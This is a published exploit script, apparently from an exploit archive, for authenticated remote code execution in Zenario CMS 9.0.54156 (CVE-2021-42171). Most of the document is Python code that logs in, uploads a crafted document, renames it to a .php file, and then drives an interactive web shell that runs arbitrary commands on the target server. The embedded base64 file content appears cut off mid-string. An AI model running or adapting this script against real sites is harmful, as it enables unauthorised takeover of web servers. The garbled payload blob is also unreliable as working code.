Zenario CMS version 9.0.54156 suffers from a remote code execution vulnerability.
31843677148b18eb02ff3c25c5b53444
# Exploit Title: Zenario CMS 9.0.54156 - Remote Code Execution (RCE) (Authenticated)
# Date: 04/02/2022
# Exploit Author: minhnq22
# Vendor Homepage: https://zenar.io/
# Software Link: https://zenar.io/download-page
# Version: 9.0.54156
# Tested on: Ubuntu 21.04
# CVE : CVE-2021–42171
# Python3
import os
import sys
import json
import uuid
import base64
import requests
# Input
if len(sys.argv) != 4:
print("Usage: " + sys.argv[0] + " 'http(s)://TARGET/zenario' 'USERNAME' 'PASSWORD'")
exit(1)
TARGET = sys.argv[1]
USERNAME = sys.argv[2]
PASSWORD = sys.argv[3]
## Attempt to log in
### Get cookie
resp = requests.get(TARGET + "/zenario/admin/welcome.ajax.php?task=&get=%5B%5D")
### Grab the PHP session ID
PHPSESSID = resp.headers['Set-Cookie'].split(";")[0]
### Authen with cookie
resp = requests.post(TARGET + "/zenario/admin/welcome.ajax.php?task=&get=%5B%5D",
headers={"X-Requested-With": "XMLHttpRequest", "Cookie": PHPSESSID},
data={"_validate": "true", "_box": '{"tab":"login","tabs":{"login":{"edit_mode":{"on":1},"fields":{"reset":{"_was_hidden_before":true},"description":{},"username":{"current_value":"' + USERNAME + '"},"password":{"current_value":"' + PASSWORD + '"},"admin_login_captcha":{"_was_hidden_before":true,"current_value":""},"remember_me":{"current_value":false},"login":{"pressed":true},"forgot":{"pressed":false},"previous":{"pressed":false}}},"forgot":{"edit_mode":{"on":1},"fields":{"description":{},"email":{"current_value":""},"previous":{},"reset":{}}}},"path":"login"}'})
# If login OK
print("Login OK!")
## Upload web shell
### Get sync info
resp = requests.post(TARGET + "/zenario/admin/admin_boxes.ajax.php?path=zenario_document_upload",
headers={"X-Requested-With": "XMLHttpRequest", "Cookie": PHPSESSID, "Referer": TARGET + "/zenario/admin/organizer.php?fromCID=1&fromCType=html"},
data={"_fill": "true", "_values": ""})
resp_body = json.loads(resp.text)
password_sync = resp_body["_sync"]["password"]
iv_sync = resp_body["_sync"]["iv"]
cache_dir_sync = resp_body["_sync"]["cache_dir"]
### Create blank docx file
file_content = b"UEsDBBQABgAIAAAAIQDfpNJsWgEAACAFAAATAAgCW0NvbnRlbnRfVHlwZXNdLnhtbCCiBAIooAAC\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC0\nlMtuwjAQRfeV+g+Rt1Vi6KKqKgKLPpYtUukHGHsCVv2Sx7z+vhMCUVUBkQpsIiUz994zVsaD0dqa\nbAkRtXcl6xc9loGTXmk3K9nX5C1/ZBkm4ZQw3kHJNoBsNLy9GUw2ATAjtcOSzVMKT5yjnIMVWPgA\njiqVj1Ykeo0zHoT8FjPg973eA5feJXApT7UHGw5eoBILk7LXNX1uSCIYZNlz01hnlUyEYLQUiep8\n6dSflHyXUJBy24NzHfCOGhg/mFBXjgfsdB90NFEryMYipndhqYuvfFRcebmwpCxO2xzg9FWlJbT6\n2i1ELwGRztyaoq1Yod2e/ygHpo0BvDxF49sdDymR4BoAO+dOhBVMP69G8cu8E6Si3ImYGrg8Rmvd\nCZFoA6F59s/m2NqciqTOcfQBaaPjP8ber2ytzmngADHp039dm0jWZ88H9W2gQB3I5tv7bfgDAAD/\n/wMAUEsDBBQABgAIAAAAIQAekRq37wAAAE4CAAALAAgCX3JlbHMvLnJlbHMgogQCKKAAAgAAAAAA\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAArJLBasMw\nDEDvg/2D0b1R2sEYo04vY9DbGNkHCFtJTBPb2GrX/v082NgCXelhR8vS05PQenOcRnXglF3wGpZV\nDYq9Cdb5XsNb+7x4AJWFvKUxeNZw4gyb5vZm/cojSSnKg4tZFYrPGgaR+IiYzcAT5SpE9uWnC2ki\nKc/UYySzo55xVdf3mH4zoJkx1dZqSFt7B6o9Rb6GHbrOGX4KZj+xlzMtkI/C3rJdxFTqk7gyjWop\n9SwabDAvJZyRYqwKGvC80ep6o7+nxYmFLAmhCYkv+3xmXBJa/ueK5hk/Nu8hWbRf4W8bnF1B8wEA\nAP//AwBQSwMEFAAGAAgAAAAhAJdANEq+AgAAvQoAABEAAAB3b3JkL2RvY3VtZW50LnhtbKSW227b\nMAxA3wfsHwK/t7KdxEmNpkW7dkMfBhTr9gGKLNtCrQsk5bavH+X75q5w3BdbIs0jiiJpXd8eeTHb\nU22YFBsvuPS9GRVEJkxkG+/Xz68Xa29mLBYJLqSgG+9EjXd78/nT9SFOJNlxKuwMEMLEB0U2Xm6t\nihEyJKccm0vOiJZGpvaSSI5kmjJC0UHqBIV+4JcjpSWhxsB6X7DYY+PVOHIcR0s0PoCxAy4QybG2\n9NgxgrMhS3SF1kNQOAEEOwyDIWp+NipCzqsBaDEJBF4NSMtppDc2F00jhUPSahppPiStp5EG6cSH\nCS4VFaBMpebYwlRniGP9ulMXAFbYsi0rmD0B048aDGbidYJHYNUS+Dw5m7BCXCa0mCcNRW68nRZx\nbX/R2jvX48q+fjUWesz+K5OHujmUO0eaFhALKUzOVFvhfCoNlHkD2b+3iT0vmu8OKhhZLv9rTw9V\nKDvgGPfr+POi8vx9YuCPOBGHaC3GuPD3mo0nHLKwW3hSaHrBDUY2kAYQDgARoSMbfsNY1wxEugp1\nHDayNBpOdSqOw7rABiP72L/O9AAmsUl+FiVs4oqcLbY4x6ZNdEek5zm1bHEn3ouRyj5WCN+03KmO\nxj5Ge+ra2sFdMM5g1QXVL3LzMWdecqyg23ESP2VCarwtwCMojxlk+Kw8AfeERHGvckiPpdyd9cz1\nGO8GbkZbmZzcW4FuESus8RMkZeCHq6sguvdKKfxXrJPOo1V0N78PQRrDLSz5sfF8/zFaRHePreiB\npnhX2J4GObyhxD7rN+zKtbOX36CCFhGE4cJ3LMjGYLmGcWmtsu/YGVsJnSxYVJ9oluW2m26ltZJ3\n84KmPW1OcULhn7AKy2kqpe1Ns50tp/VyRBYGpEZhQqtvSjFcIr9pF8+4YII+M0tyF5NSi5otlsMq\nqKi7d978AQAA//8DAFBLAwQUAAYACAAAACEA1mSzUfQAAAAxAwAAHAAIAXdvcmQvX3JlbHMvZG9j\ndW1lbnQueG1sLnJlbHMgogQBKKAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACskstqwzAQ\nRfeF/oOYfS07fVBC5GxKIdvW/QBFHj+oLAnN9OG/r0hJ69BguvByrphzz4A228/BineM1HunoMhy\nEOiMr3vXKnipHq/uQRBrV2vrHSoYkWBbXl5sntBqTkvU9YFEojhS0DGHtZRkOhw0ZT6gSy+Nj4Pm\nNMZWBm1edYtyled3Mk4ZUJ4wxa5WEHf1NYhqDPgftm+a3uCDN28DOj5TIT9w/4zM6ThKWB1bZAWT\nMEtEkOdFVkuK0B+LYzKnUC
file_name = uuid.uuid4().hex
file = open(file_name + ".docx", "wb")
file.write(base64.decodebytes(file_content))
file.close()
### Upload docx file
resp = requests.post(TARGET + "/zenario/ajax.php?method_call=handleAdminBoxAJAX&path=zenario_document_upload",
headers={"Cookie":PHPSESSID, "Referer": TARGET + "/zenario/admin/organizer.php?fromCID=1&fromCType=html"},
data={"id":"", "fileUpload": 1, },
files={"Filedata": open(file_name + ".docx", "rb")})
### Get sync id file
resp_body = json.loads(resp.text)
id_sync = resp_body["id"]
# Update database
resp = requests.post(TARGET + "/zenario/admin/admin_boxes.ajax.php?path=zenario_document_upload",
headers={"X-Requested-With": "XMLHttpRequest", "Cookie": PHPSESSID, "Referer": TARGET + "/zenario/admin/organizer.php?fromCID=1&fromCType=html"},
data={"_save": "true", "_confirm": "", "_box": '{"tabs":{"upload_document":{"edit_mode":{"on":1},"fields":{"document__upload":{"current_value":"' + id_sync + '"},"privacy":{"_display_value":false,"current_value":"public"}}}},"_sync":{"cache_dir":"' + cache_dir_sync + '","password":"' + password_sync + '","iv":"' + iv_sync + '","session":false},"tab":"upload_document"}'})
# If upload OK
print("Upload file OK!")
## Change file extension
### Search ID file in Database
resp = requests.get(TARGET + "/zenario/admin/organizer.ajax.php?path=zenario__content/panels/documents&_sort_col=ordinal&_search=" + file_name, headers={"Cookie": PHPSESSID})
resp_body = json.loads(resp.text)
file_id = resp_body["__item_sort_order__"]["0"]
### Get sync info
resp = requests.post(TARGET + "/zenario/admin/admin_boxes.ajax.php?path=zenario_document_properties&id=" + str(file_id),
headers={"Cookie": PHPSESSID, "Referer": TARGET + "/zenario/admin/organizer.php?fromCID=1&fromCType=html"},
data={"_fill": "true", "_values": ""})
resp_body = json.loads(resp.text)
password_sync = resp_body["_sync"]["password"]
iv_sync = resp_body["_sync"]["iv"]
cache_dir_sync = resp_body["_sync"]["cache_dir"]
### Change to .php
resp = requests.post(TARGET + "/zenario/admin/admin_boxes.ajax.php?path=zenario_document_properties&id=" + str(file_id),
headers={"Cookie": PHPSESSID, "Referer": TARGET + "/zenario/admin/organizer.php?fromCID=1&fromCType=html"},
data={"_save": "true", "_confirm": "", "_box": '{"tabs":{"details":{"edit_mode":{"on":1},"fields":{"document_extension":{"_was_hidden_before":true,"current_value":"php"},"document_title":{"current_value":""},"document_name":{"current_value":"' + file_name + '"},"checksum":{"_was_hidden_before":true,"current_value":"y8vuS"},"date_uploaded":{"current_value":"2021-09-2920173A213A31"},"privacy":{"_display_value":"Public","current_value":"public"},"tags":{"_display_value":false,"current_value":""},"link_to_add_tags":{}}},"upload_image":{"edit_mode":{"on":true},"fields":{"thumbnail_grouping":{},"title":{"current_value":""},"thumbnail_image":{},"delete_thumbnail_image":{},"zenario_common_feature__upload":{"current_value":""}}},"extract":{"edit_mode":{"on":0},"fields":{"extract":{"current_value":"No20plain-text20extract"},"extract_wordcount":{"current_value":0}}}},"_sync":{"cache_dir":"' + cache_dir_sync + '","password":"' + password_sync + '","iv":"' + iv_sync + '","session":false},"tab":"details"}'})
## Get public URL webshell
resp = requests.post(TARGET + "/zenario/ajax.php?__pluginClassName__=zenario_common_features&__path__=zenario__content/panels/documents&method_call=handleOrganizerPanelAJAX",
headers={"Cookie": PHPSESSID, "Referer": TARGET + "/zenario/admin/organizer.php?fromCID=1&fromCType=html"},
data={"id": file_id, "generate_public_link": 1})
response_body = resp.text
web_shell_url = response_body[response_body.find("http"): response_body.find(file_name) + 36]
# If web shell OK
print("Web shell is available!")
print("URL:", web_shell_url)
print("Enter command.")
## Execute command
cmd = ''
while cmd != "exit":
### Get command
cmd = input("> ")
### Get result
resp = requests.post(web_shell_url, data={"cmd": cmd})
response_body = resp.text
result = response_body[response_body.find("8d589afa4dfaeeed85fff5aa78e5ff6a") + 32: response_body.find("7f021a1415b86f2d013b2618fb31ae53")]
print(result)
pass
## Delete web shell
resp = requests.post(TARGET + "/zenario/ajax.php?__pluginClassName__=zenario_common_features&__path__=zenario__content/panels/documents&method_call=handleOrganizerPanelAJAX",
headers={"Cookie": PHPSESSID, "Referer": TARGET + "/zenario/admin/organizer.php?fromCID=1&fromCType=html"},
data={"id": file_id, "delete": 1})
print("Web shell is deleted!")
# Delete docx file
os.remove(file_name + ".docx")
print("Docx file is deleted!")